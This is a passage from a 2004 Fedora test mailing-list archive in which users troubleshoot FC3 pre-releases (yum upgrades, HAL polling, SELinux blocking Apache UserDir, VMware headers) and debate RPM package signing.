is. it has nothing to do with metadata signing. I was just muddying the discussion somewhat. -sv From skvidal at phy.duke.edu Fri Nov 5 08:00:08 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 05 Nov 2004 03:00:08 -0500 Subject: yum upgrade? In-Reply-To: <418A9A11.3070601@broadpark.no> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <604aa79104110405053e6e3ad@mail.gmail.com> <1099574143.3536.1.camel@binkley> <418A9A11.3070601@broadpark.no> Message-ID: <1099641608.9565.10.camel@binkley> > I tried this from fc2 to fc3 using the repository specified in another > mail with this subject. It didn't work and what happens is: > > yum, python, kernel and glibc upgrade works. Then when trying to > upgrade udev I receive the following error message: < Error: udev > conflicts with kernel< 0:2.6 > right but what kernel(s) do you have installed? I bet you still have a 2.4 kernel in there. rpm -q kernel kernel-smp remove the 2.4-series kernel and it should work. -sv From arjanv at redhat.com Fri Nov 5 08:07:54 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Fri, 05 Nov 2004 09:07:54 +0100 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <20041105002728.GF11079@devserv.devel.redhat.com> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> <20041105002728.GF11079@devserv.devel.redhat.com> Message-ID: <1099642074.2814.3.camel@laptop.fenrus.org> On Thu, 2004-11-04 at 19:27 -0500, Alan Cox wrote: > On Thu, Nov 04, 2004 at 01:59:48PM -0500, David Zeuthen wrote: > > Basically hal does this (every two seconds) > > > > open("/dev/hdc", O_RDONLY|O_NONBLOCK|O_EXCL|O_LARGEFILE) = 0 > > ioctl(0, CDROM_DRIVE_STATUS, 0x7fffffff) = 1 > > close(0) > > > > Can some kernel person comment on why this is killing performance on > > the /dev/hda harddrive when the optical drive at /dev/hdb is polled? > > Because /dev/hdb is powersaved. Every time you poll it the laptop powers up > the drive (costly on power/time), polls the TOC, replies and a second or so > later powers back down. During the power up, poll TOC sequence it locks the > bus so your IDE bus spends 1.5 of every 2 seconds jammed by the drive. it sounds like HAL should measure how long such a poll takes (shouldn't be too hard) and then add like 10 times that time to the 2 seconds interval. On fast hw you get almost a 2 second interval but on really slow cdroms you still can get decent performance. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From linxt at comcast.net Fri Nov 5 09:01:52 2004 From: linxt at comcast.net (Thomas Taylor) Date: Fri, 5 Nov 2004 01:01:52 -0800 Subject: KMail Links + Firefox Browser In-Reply-To: <200410171218.00616.rpa4email@rogers.com> References: <200410171218.00616.rpa4email@rogers.com> Message-ID: <200411050101.52142.linxt@comcast.net> On Sunday 17 October 2004 09:18, Robert Couture wrote: > Hello ... > > I discovered quite by accident that there is a problem with links in KMail > & FireFox when I recently had trouble with Evolution. > > If I click on a link in a mail message when the browser loads all images > are broken as well as all referneces to ccs files, and other resources > because the URI is something like: > > file:///var/tmp/kdecache-fido/krun/27670.0.fedora.php > > This only happens with Firefox. Mozilla & Konquerer show the proper URI > (in this case): > > http://i2o.shadowconnect.com/fedora.php > > Has anyone else experienced this? If so has it been bugzilla'd and where > should itr be reported, Redhat or upstream? > > Thanks. > > Rob. Hi Rob: Don't recall seeing a response to this so I'll pass along an idea. Open up Control Center > KDE components > File associations > text > html. In the "Application Precedence Order" dialog box select firefox & edit. In the "Application" tab, add %u to the end of the command: so it reads "/usr/bin/firefox %u". That SHOULD get it to work. HTH, Tom -- Tom Taylor Registered linux user #263467 From Axel.Thimm at ATrpms.net Fri Nov 5 09:50:28 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Fri, 5 Nov 2004 10:50:28 +0100 Subject: Signed packages = _secure_ authentication of origin and not a policy (was: Should Fedora rpms be signed?) In-Reply-To: References: <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> Message-ID: <20041105095028.GA9040@neu.nirvana> On Fri, Nov 05, 2004 at 12:34:32AM -0600, Satish Balay wrote: > On Thu, 4 Nov 2004, Peter Jones wrote: > > My model is that the signature is more than just a gpg signature. > > Conceptually, it's a signature on a certificate with data that > > specifies exactly which ways the package may be trusted. One > > could actually implement it that way, which I think we should, but > > it's some significant effort. A signature is a signature, nothing more. You are talking about policies, which are orthogonal to signing. Red Hat has policies, ATrpms has policies, every repo has one, and they may partly overlap. But you cannot (should not) deduce a policy from a signature. The only thing IMHO a signature should be doing is to ensure the package origin is from the key-holder of the package, nothing more. It is a security, not policy entity. > Yeah - but we don't have that right now. The thing we are debating is > - why signing 'rawhide' with gpg key is wrong. Signing rawhide packages is not only right, but highly required. I want to know whether mirror XYZ has untampered packages. If the package is signed by the trusted Red Hat keys, I don't need to check or care about mirror trusts. Unsigned packages on an insecure mirror would go unnoticed if modified. This mail is signed for the very same reason. There is no policy behind signing my mail, other than ensuring noone can tamper with the contents or send (signed) mails on my behalf. > > The specific proposal here was that when you *don't* mean the things > > that people infer from a signed package, don't sign the package. > > You mean Axel, Dag should't sign the packages they > distribute. (because that would imply its equally trustworthy as > redhat-certified) > > And according to your model - If I were to distribure signed/unsigned > packages - the expection for unsigned is different(can eat data) - but > signed is different (extremely stable) I'd say unsigned packages are just insecure, so they are also unstable. OK ;) -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <20041105095028.GA9040@neu.nirvana> References: <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> <20041105095028.GA9040@neu.nirvana> Message-ID: <1099648717.2814.10.camel@laptop.fenrus.org> On Fri, 2004-11-05 at 10:50 +0100, Axel Thimm wrote: > On Fri, Nov 05, 2004 at 12:34:32AM -0600, Satish Balay wrote: > > On Thu, 4 Nov 2004, Peter Jones wrote: > > > My model is that the signature is more than just a gpg signature. > > > Conceptually, it's a signature on a certificate with data that > > > specifies exactly which ways the package may be trusted. One > > > could actually implement it that way, which I think we should, but > > > it's some significant effort. > > A signature is a signature, nothing more. You are talking about > policies, which are orthogonal to signing. Red Hat has policies, > ATrpms has policies, every repo has one, and they may partly > overlap. But you cannot (should not) deduce a policy from a signature. > > The only thing IMHO a signature should be doing is to ensure the > package origin is from the key-holder of the package, nothing more. It > is a security, not policy entity. Well policy and security somewhat interact. The value you give the the signature depends on the policy. Most extreme example: if I put my secret key on a public webpage, there is no value in signing anything with it at all. Of course nobody sane is going to do that, so it's clear that there is some value in signing. And I can even see even the point of having multiple signatures: * The buildsystem that builds the rpm signs for having build the package * The person doing QA signs the package for having passed the required checks * The release manager (eg RH or you or Dag) signs for publishing the package (whether it is automated or not that's besides the point) * The mirror signs the package as a "pass through" that way you even create an authentication trail.... And you can decide which to trust for what. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From Axel.Thimm at ATrpms.net Fri Nov 5 10:16:48 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Fri, 5 Nov 2004 11:16:48 +0100 Subject: Signed packages = _secure_ authentication of origin and not a policy (was: Should Fedora rpms be signed?) In-Reply-To: <1099648717.2814.10.camel@laptop.fenrus.org> References: <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> <20041105095028.GA9040@neu.nirvana> <1099648717.2814.10.camel@laptop.fenrus.org> Message-ID: <20041105101647.GA19864@neu.nirvana> On Fri, Nov 05, 2004 at 10:58:37AM +0100, Arjan van de Ven wrote: > On Fri, 2004-11-05 at 10:50 +0100, Axel Thimm wrote: > > On Fri, Nov 05, 2004 at 12:34:32AM -0600, Satish Balay wrote: > > > On Thu, 4 Nov 2004, Peter Jones wrote: > > > > My model is that the signature is more than just a gpg signature. > > > > Conceptually, it's a signature on a certificate with data that > > > > specifies exactly which ways the package may be trusted. One > > > > could actually implement it that way, which I think we should, but > > > > it's some significant effort. > > > > A signature is a signature, nothing more. You are talking about > > policies, which are orthogonal to signing. Red Hat has policies, > > ATrpms has policies, every repo has one, and they may partly > > overlap. But you cannot (should not) deduce a policy from a signature. > > > > The only thing IMHO a signature should be doing is to ensure the > > package origin is from the key-holder of the package, nothing more. It > > is a security, not policy entity. > > Well policy and security somewhat interact. The value you give the the > signature depends on the policy. Most extreme example: if I put my > secret key on a public webpage, there is no value in signing anything > with it at all. > > Of course nobody sane is going to do that, so it's clear that there is > some value in signing. And I can even see even the point of having > multiple signatures: > * The buildsystem that builds the rpm signs for having build the package > * The person doing QA signs the package for having passed the required > checks > * The release manager (eg RH or you or Dag) signs for publishing the > package (whether it is automated or not that's besides the point) > * The mirror signs the package as a "pass through" > > that way you even create an authentication trail.... And you can decide > which to trust for what. I thought rpm signing allowed only one signature, otherwise strange things happen, or not? Don't remember whether that was an rpm bug that could be fixed w/o breaking backwards compatibility, but I remember it had some implication which is why it wasn't fixed and instead signing keys had to be adjusted. Otherwise I agree with the general workflow, but probably mirrors should not be signing at all - each package would appear different on each mirror (and a courier doesn't sign a document either ;) -, and the end user does not care who did internal QA (the release managers do though). The end user should see simple one-key signing to keep his logistics low. Perhaps the above model should be done by signature replacement (QA replaces build-system signature with its own, release manager replaces QA signature). Anyway the thread's recommendation to disallow signing because signing would imply certain policies would be very wrong. -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... 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Although I've not signed an NDA, it's up to Cristian Gafton to announce any details. -- Fedora Core release 2 (Tettnang) - Linux 2.6.9-1.2_FC2 loadavg: 0.00 0.06 0.09 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From brian at networklifeline.net Fri Nov 5 10:30:40 2004 From: brian at networklifeline.net (Brian Callahan) Date: Fri, 5 Nov 2004 03:30:40 -0700 Subject: kernel headers vmware Message-ID: <20041105103040.4187.qmail@webmail03.mesa1.secureserver.net> Thanks Paul, Great HELP !!! VMware 4.0 I didn't know I could just point it at the /lib/modules dir. I have always used the source I need to get up with the "new" way of doing things. I tried pointing it to /lib/modules and I get : What is the location of the directory of C header files that match your running kernel? [/usr/src/linux/include] /lib/modules/2.6.8-1.541/build/include/ The kernel defined by this directory of header files does not have the same address space size as your running kernel. I tried going to RC5 .667 but I run into the NVidia module build problem. I will try again- I want to be at the closest relaes to the final when it comes out so I don't have to re-install. BC > -------- Original Message -------- > Subject: Re: kernel headers vmware > From: "Paul Iadonisi" > Date: Thu, November 04, 2004 9:31 pm > To: fedora-test-list at redhat.com > > On Thu, 2004-11-04 at 20:22, Brian Callahan wrote: > > [snip] > > > I am trying to install VMware 4 on FC3T3 and it can't find the header > > files > > VMware 4.5.2? > > > "What is the location of the directory of C header files that match your > > running > > kernel? [/usr/src/linux/include] /usr/src/linux > > The path "/usr/src/linux" is an existing directory, but it does not > > contain at > > least one of these directories "linux", "asm", "net" as expected." > > > > I am running 2.6.8-1.541 #1 Wed Sep 1 18:01:20 EDT 2004 i686 athlon i386 > > GNU/Linux > > You shouldn't need to do any of what you've listed below. I'm not > sure about FC3T3, but on FC3RC5 (kernel 2.6.9-1.667), when I run > vmware-config.pl, the path that it defaults to is > /lib/modules/2.6.9-1.667/build/include and everything builds fine. When > all is done, vmware launches just fine, as well, but I haven't tried > actually installing and/or running a guest OS in it yet. > > > I have built the kernel src src.rpm with rpmbuild -bp --target=i686 > > kernel-2.6.spec > > > > then I did a symlink /usr/src/linux > > > /usr/src/redhat/BUILD/kernel-2.6.8/linux-2.6.8/ > > > > > > Anyway what am I doing wrong -- do I still need the source to build > > vmware and NVidia drivers or is there a headers package ? > > > > Any help would be GREAT !! > > I'd suggest updating to FC3RC5 (or just do a yum update) and make sure > there's no /usr/src/linux* directories. Then maybe vmware-config.pl > will find the right place to look for the needed kernel headers. > Barring that, just try plugging in > /lib/modules/2.6.8-1.541/build/include when it asks for where your > headers are. > I've also noted in http://platan.vc.cvut.cz/ftp/pub/vmware/readme.txt > that one of the updates is udev support for vmnet, so you may want to > grab vmware-any-any-update84.tar.gz from there and apply it, too. > > -- > -Paul Iadonisi > Senior System Administrator > Red Hat Certified Engineer / Local Linux Lobbyist > Ever see a penguin fly? -- Try Linux. > GPL all the way: Sell services, don't lease secrets > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From arjanv at redhat.com Fri Nov 5 10:44:40 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Fri, 05 Nov 2004 11:44:40 +0100 Subject: kernel headers vmware In-Reply-To: <20041105103040.4187.qmail@webmail03.mesa1.secureserver.net> References: <20041105103040.4187.qmail@webmail03.mesa1.secureserver.net> Message-ID: <1099651480.2814.12.camel@laptop.fenrus.org> On Fri, 2004-11-05 at 03:30 -0700, Brian Callahan wrote: > Thanks Paul, > > Great HELP !!! > VMware 4.0 > I didn't know I could just point it at the /lib/modules dir. I have > always used the source I need to get up with the "new" way of doing > things. it's only new since like RHL 7.0 :-) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From gary.harthill at mirago.com Fri Nov 5 10:54:24 2004 From: gary.harthill at mirago.com (Gary Harthill) Date: Fri, 5 Nov 2004 10:54:24 -0000 Subject: ??? Can't access FTP anymore Message-ID: Yesterday I was downloading from testing.fedora.redhat.com and I got 3 of the 4 ISO files. I can't access this page anymore. What happened? I need fc3.i386.disc4.iso Waaaaaaaaaa!!!! So close yet so far. Has anyone got this mirrored? From frh at gmx.de Fri Nov 5 10:56:09 2004 From: frh at gmx.de (Franz Hoffmann) Date: Fri, 5 Nov 2004 11:56:09 +0100 Subject: apache problem? Message-ID: <20041105115609.08ecddb0@huii.local> Hello everybody, I have been trying very hard to make apache run. Welcome page, manual, even phpMyAdmin run fine, but I can't get the UserDir to work, that is http://127.0.0.1/~user/ Whatever I do, all I get is a 403 Forbidden error, and a error log entry like " [error] [client 127.0.0.1] (13)Permission denied: access to /~user/ denied". The permissions are ok. This is a fc3t3-System with httpd-2.0.52-3 This might well be my mistake, but I start to think it could also be a bug (or maybe a SELinux feature?). I installed the official apache from source this morning and now everything is runnung fine. Could anybody please verify this? From fedora at wir-sind-cool.org Fri Nov 5 11:02:31 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Fri, 5 Nov 2004 12:02:31 +0100 Subject: ??? Can't access FTP anymore In-Reply-To: References: Message-ID: <20041105120231.4f23675c.fedora@wir-sind-cool.org> On Fri, 5 Nov 2004 10:54:24 -0000, Gary Harthill wrote: > Yesterday I was downloading from testing.fedora.redhat.com and I got 3 > of the 4 ISO files. I can't access this page anymore. What happened? > > I need fc3.i386.disc4.iso > > Waaaaaaaaaa!!!! So close yet so far. Has anyone got this mirrored? From the original RC5 announcement: http://fedora.linux.duke.edu/FC3-rc/3/i386/iso/ Alternatively, use rsync to bring your downloads up-to-date in a few days when FC3 will be released. -- Fedora Core release 2 (Tettnang) - Linux 2.6.9-1.2_FC2 loadavg: 0.10 0.07 0.01 From gary.harthill at mirago.com Fri Nov 5 11:04:10 2004 From: gary.harthill at mirago.com (Gary Harthill) Date: Fri, 5 Nov 2004 11:04:10 -0000 Subject: ??? Can't access FTP anymore Message-ID: Fantastic. Cheers. Where was this announcement? I must have gone wild with the delete key :) > -----Original Message----- > From: fedora-test-list-bounces at redhat.com [mailto:fedora-test-list- > bounces at redhat.com] On Behalf Of Michael Schwendt > Sent: 05 November 2004 11:03 > To: For testers of Fedora Core development releases > Subject: Re: ??? Can't access FTP anymore > > On Fri, 5 Nov 2004 10:54:24 -0000, Gary Harthill wrote: > > > Yesterday I was downloading from testing.fedora.redhat.com and I got 3 > > of the 4 ISO files. I can't access this page anymore. What happened? > > > > I need fc3.i386.disc4.iso > > > > Waaaaaaaaaa!!!! So close yet so far. Has anyone got this mirrored? > > From the original RC5 announcement: > http://fedora.linux.duke.edu/FC3-rc/3/i386/iso/ > > Alternatively, use rsync to bring your downloads up-to-date in a few > days when FC3 will be released. > > -- > Fedora Core release 2 (Tettnang) - Linux 2.6.9-1.2_FC2 > loadavg: 0.10 0.07 0.01 > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From cochranb at speakeasy.net Fri Nov 5 11:09:21 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Fri, 05 Nov 2004 06:09:21 -0500 Subject: apache problem? In-Reply-To: <20041105115609.08ecddb0@huii.local> References: <20041105115609.08ecddb0@huii.local> Message-ID: <418B5F61.601@speakeasy.net> You need to look at the UserDir directive in /etc/httpd/conf/httpd.conf. In the Fedora Core version, UserDir is disabled by default. You can turn it back on and change the permissions of your home directory as indicated in the conf file. Bob Franz Hoffmann wrote: >Hello everybody, > >I have been trying very hard to make apache run. Welcome page, manual, even >phpMyAdmin run fine, but I can't get the UserDir to work, that is >http://127.0.0.1/~user/ > >Whatever I do, all I get is a 403 Forbidden error, and a error log entry >like " [error] [client 127.0.0.1] (13)Permission denied: access to /~user/ >denied". The permissions are ok. > >This is a fc3t3-System with httpd-2.0.52-3 > >This might well be my mistake, but I start to think it could also be a bug >(or maybe a SELinux feature?). I installed the official apache from source >this morning and now everything is runnung fine. > >Could anybody please verify this? > > > From t.liesner at creativ-consulting.de Fri Nov 5 11:09:55 2004 From: t.liesner at creativ-consulting.de (Thomas Liesner) Date: Fri, 05 Nov 2004 12:09:55 +0100 Subject: apache problem? In-Reply-To: <20041105115609.08ecddb0@huii.local> References: <20041105115609.08ecddb0@huii.local> Message-ID: <1099652995.4037.31.camel@fusie.creativ-consulting.de> Hi, Am Freitag, den 05.11.2004, 11:56 +0100 schrieb Franz Hoffmann: > Hello everybody, > > I have been trying very hard to make apache run. Welcome page, manual, even > phpMyAdmin run fine, but I can't get the UserDir to work, that is > http://127.0.0.1/~user/ Me neither. > > Whatever I do, all I get is a 403 Forbidden error, and a error log entry > like " [error] [client 127.0.0.1] (13)Permission denied: access to /~user/ > denied". The permissions are ok. dito. > > This is a fc3t3-System with httpd-2.0.52-3 dito. > > This might well be my mistake, but I start to think it could also be a bug > (or maybe a SELinux feature?). I think this has to do with selinux. The corresponding entries in /var/log/messages are: > Nov 5 12:04:55 fusie kernel: audit(1099652695.277:0): avc: denied { getattr } for pid=4587 exe=/usr/sbin/httpd path=/home/thomas/public_html dev=hda3 ino=1456101 scontext=root:system_r:httpd_t tcontext=user_u:object_r:user_home_t tclass=dir > > Could anybody please verify this? Done. Any ideas? ./Tom -- Thomas Liesner - c/o Creativ Consulting GmbH, Ratingen Email: t.liesner at creativ-consulting.de PGP Fingerprint: 7B6B 8364 D205 0FA2 8753 AEE0 70B7 AB3A 06B5 F368 PGP Public Key: http://www.creativ-consulting.de/keys From folke.lemaitre at gmail.com Fri Nov 5 11:36:07 2004 From: folke.lemaitre at gmail.com (Folke Lemaitre) Date: Fri, 5 Nov 2004 12:36:07 +0100 Subject: Mounting ntfs... possible rw In-Reply-To: References: Message-ID: <63a30f4d0411050336204cb75e@mail.gmail.com> RW works perfect for me! No problems watsoever... On Thu, 04 Nov 2004 05:56:41 -0600, Harry Putnam wrote: > Group, > Can anyone here report the state of things with the experimental > kernel code for mounting ntfs and making it read/write? > > Any problems just mounting/viewing? > > Any tragedies or other reports of write? > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- Home Location: http://www.mappy.com/PlanPerso/flemaitr/0 From paul at all-the-johnsons.co.uk Fri Nov 5 11:50:10 2004 From: paul at all-the-johnsons.co.uk (PFJ) Date: Fri, 05 Nov 2004 11:50:10 +0000 Subject: Something very strange is happening... Message-ID: <1099655410.17850.32.camel@jeeves.music.salford.ac.uk> Hi, I'm using FC3t3 which is updated daily. I'm also using the current kernel version. I decided to continue archiving my old collection of CDs this morning and as always, fired up grip. It reported that /dev/cdrom was not a valid device any more (it is). It also didn't like /media/cdrom as a device name. I tried the two other devices with both grip and gnome-cdplayer with / dev/cdromx (x = nothing, 1 or 2) and whatever they are registered with in /media - nothing doing. I don't normally reset after an update of udev - should I have done that? Normally though, it's not required. Possibly udev related is another problem. On Tuesday, I installed a new floppy drive which also has on it a SD card reader, microdrive reader and another reader which slips my memory for the moment. The floppy part works fine, the others aren't recognised. This is read via a lead which goes from the drive to a socket on the motherboard where a backplane USB plugs in. /sbin/lsusb isn't showing anything. The device is a Mitsumi drive. I've noticed in /media that I have floppy and floppy(2) icons. floppy is dead, floppy(2) works. Shouldn't gnomevfs have just ditched the original floppy icon and floppy(2) be called floppy? I did do a reset so the new drive and other bits would be picked up. Any ideas on either of these? TTFN Paul -- "If I face my God tomorrow, I can tell Him I am innocent. I've never harmed anyone. I have cheated no one. I have deceived no one. I have hurt no one. Except myself. And that He will forgive me." - Hans Holzel -------------- next part -------------- A non-text attachment was scrubbed... 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Recently I noticed this nice site: http://www.mirrorservice.org/ They let you "peek" inside the content of RPMs (for example, info, source-files dependencies, spec-files, patches). See for example: http://www.mirrorservice.org/sites/download.fedora.redhat.com/pub/fedora/linux/core/development/SRPMS/ (the right-hand icons get you to the details) http://www.mirrorservice.org/sites/download.fedora.redhat.com/pub/fedora/linux/core/development/SRPMS/kernel-2.6.9-1.667.src.rpm[peek] greetings, Rob van Nieuwkerk From dag at wieers.com Fri Nov 5 12:40:57 2004 From: dag at wieers.com (Dag Wieers) Date: Fri, 5 Nov 2004 13:40:57 +0100 (CET) Subject: Public SPEC files please In-Reply-To: <20041105112907.349c1461.fedora@wir-sind-cool.org> References: <20041105112907.349c1461.fedora@wir-sind-cool.org> Message-ID: On Fri, 5 Nov 2004, Michael Schwendt wrote: > On Fri, 5 Nov 2004 03:52:13 +0100 (CET), Dag Wieers wrote: > > > PS Some of it could even be "legally" required in the sense that eg. > > fedora.us started its amavisd-new package from my SPEC file and I can't > > even peek to see what exactly they have changed. Bugzilla has some broken > > links, but there it ends. No SRPM, no SPEC file, no clue :) > > fedora.us spec files have been available separately for a very long > time linked at the top of http://fedora.us > > http://www.fedora.us/tempspecs/ Well, those only contain the published RPMs SPEC files. My amavisd-new example is a real example. > Concerning "Fedora, Raw Hide, RHEL", progress bas been made with the CVS > server, which exists already and undergoes non-public beta testing. > Although I've not signed an NDA, it's up to Cristian Gafton to announce > any details. Ok. -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From sds at epoch.ncsc.mil Fri Nov 5 12:37:04 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Fri, 05 Nov 2004 07:37:04 -0500 Subject: apache problem? In-Reply-To: <1099652995.4037.31.camel@fusie.creativ-consulting.de> References: <20041105115609.08ecddb0@huii.local> <1099652995.4037.31.camel@fusie.creativ-consulting.de> Message-ID: <1099658224.6373.14.camel@moss-spartans.epoch.ncsc.mil> On Fri, 2004-11-05 at 06:09, Thomas Liesner wrote: > I think this has to do with selinux. The corresponding entries > in /var/log/messages are: > > > Nov 5 12:04:55 fusie kernel: audit(1099652695.277:0): avc: denied { getattr } for pid=4587 exe=/usr/sbin/httpd path=/home/thomas/public_html dev=hda3 ino=1456101 scontext=root:system_r:httpd_t tcontext=user_u:object_r:user_home_t tclass=dir /sbin/restorecon -R /home/thomas/public_html By default, the policy prohibits apache from reading your home directory, but if you assign appropriate security labels to your public_html subdirectory using the above command, it should allow access to that subdirectory. -- Stephen Smalley National Security Agency From janina at rednote.net Fri Nov 5 13:36:41 2004 From: janina at rednote.net (Janina Sajka) Date: Fri, 5 Nov 2004 08:36:41 -0500 Subject: vsftpd and recent kernels including 667 In-Reply-To: <1099541645.4506.24.camel@thomas.camerontech.com> References: <20041104025734.GA4276@rednote.net> <1099541645.4506.24.camel@thomas.camerontech.com> Message-ID: <20041105133641.GA4130@rednote.net> Thomas Cameron writes: > On Wed, 2004-11-03 at 21:57 -0500, Janina Sajka wrote: > > Just wondering whether others are still experiencing a broken vsftpd? > > > > I don't recall exactly when it stopped working, but it was a few kernels > > back. I'm running x86_64, in case that matters. > > > > Janina > > Hi Janina - > > Can you define "broken?" Mine works fine on FC3 RC5. vsftpd-2.0.1-5 > and kernel-smp-2.6.9-1.667. > > Are there any log entries or error messages you can post? Turned out to be a pesky errant char in my /etc/vsftpd/vsftpd.conf. Sorry about this, but your response convinced me to look harder at my end. Don't recall exactly when, but think it was some post on one of these lists that made me think there was some kernel issue--though it didn't really make sense to me either. All is well now. > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Janina Sajka, Chair Accessibility Workgroup Free Standards Group (FSG) janina at freestandards.org Phone: +1 202.494.7040 From fedora at wir-sind-cool.org Fri Nov 5 13:41:41 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Fri, 5 Nov 2004 14:41:41 +0100 Subject: Public SPEC files please In-Reply-To: References: <20041105112907.349c1461.fedora@wir-sind-cool.org> Message-ID: <20041105144141.536b0e96.fedora@wir-sind-cool.org> On Fri, 5 Nov 2004 13:40:57 +0100 (CET), Dag Wieers wrote: > > > PS Some of it could even be "legally" required in the sense that eg. > > > fedora.us started its amavisd-new package from my SPEC file and I can't > > > even peek to see what exactly they have changed. Bugzilla has some broken > > > links, but there it ends. No SRPM, no SPEC file, no clue :) > > > > fedora.us spec files have been available separately for a very long > > time linked at the top of http://fedora.us > > > > http://www.fedora.us/tempspecs/ > > Well, those only contain the published RPMs SPEC files. My amavisd-new > example is a real example. Ah, unpublished packages. That explains it. https://bugzilla.fedora.us/show_bug.cgi?id=1496#c16 Well, if the packager's download site is not reachable, the package can't be reviewed either. Maybe it's just a temporary problem. Maybe the packager doesn't even know about it. You could add a comment to above ticket and tell him. Some packagers also provide extracted spec files at their download site. I think it's not in fedora.us' responsibility to make available spec files of unpublished packages (which can be arbitrary packages in the package queue). -- Repository Mixing Problems http://www.fedora.us/wiki/RepositoryMixingProblems Fedora Core release 2 (Tettnang) - Linux 2.6.9-1.2_FC2 From fedora-test-list at riddlermarc.net Fri Nov 5 13:54:47 2004 From: fedora-test-list at riddlermarc.net (Marc McAllister) Date: Fri, 5 Nov 2004 13:54:47 +0000 Subject: FC3 box brings lan to its knees Message-ID: <1099662887.418b862741ec4@www.riddlermarc.net> Hi all, New person to the list but a long time RH\FC user. My setup: ADSL modem/router | 5-port switch | ------------------------- | | | XP box FC2 box FC3 x86_64 box (AMD64) The FC3 Test 3 box used to be running 2003 Server and it worked fine, I have used exactly the same network settings as before. I installed FC3 last night, it seemed to install fine. When I boot it everything is fine, but when I try to browse the net or ping another machine it fails and then causes the rest of the lan to fail too (not able to browse net, log into the router, ping etc). If/when I take the FC3 machine offline everything returns to normal on the lan and the other machines can browse the net etc. I woke up this morning and thought it may have been a SMB issue, but I booted the FC3 machine and checked, SMB wasn't running and the symptoms are still the same. Does anyone have any ideas, please? Regards, Marc From dan at half-asleep.com Fri Nov 5 13:54:39 2004 From: dan at half-asleep.com (Daniel Segall) Date: Fri, 5 Nov 2004 08:54:39 -0500 (EST) Subject: apache problem? Message-ID: <43662.192.80.55.73.1099662879.squirrel@192.80.55.73> I too am having trouble with this. I attempted the command below, and got nothing but a bunch of "Operation not supported" errors. In my environment, we are using NIS, with NFS mounted /home, so I'm guessing this has something to do with it? Is there a way around this,, or does anyone have any other suggestions? Thanks, -Dan >/sbin/restorecon -R /home/thomas/public_html > >By default, the policy prohibits apache from reading your home >directory, but if you assign appropriate security labels to your >public_html subdirectory using the above command, it should allow access >to that subdirectory. From chrisw01 at privatei.com Fri Nov 5 14:15:54 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: Fri, 05 Nov 2004 07:15:54 -0700 Subject: Evolution 2.0.2 Doesn't Display Certain Messages Message-ID: <1099664154.23763.15.camel@spike-home.comcast.net> I don't know if this is a reported bug or not, but EV 2.0.2 in FC3T3 seems to randomly fail displaying certain HTML formatted messages. Now I know some of you will think this may not be necessarily bad , but think of it at it appears to not be working as designed or intended. In particular, HTML formatted messages which use CSS tags seem to really have a difficult time. Once one message fails, other HTML messages - and sometimes even plain text messages - randomly can not be displayed. Sometimes this only happens when using the preview window. Opening the message in its own window will then sometimes work - but other times the message will not display no matter what you do. I can't find any pattern to this behavior. Note that these messages *do* display properly and consistently in other mail clients like Mozilla Thunderbird. If nobody has reported this, I will happily file as a bug, but I thought I would check here first to make sure nobody has. Cheers, Chris -- ====================== When the solution is simple, God is answering. -- Albert Einstein From twaugh at redhat.com Fri Nov 5 14:20:30 2004 From: twaugh at redhat.com (Tim Waugh) Date: Fri, 5 Nov 2004 14:20:30 +0000 Subject: Evolution 2.0.2 Doesn't Display Certain Messages In-Reply-To: 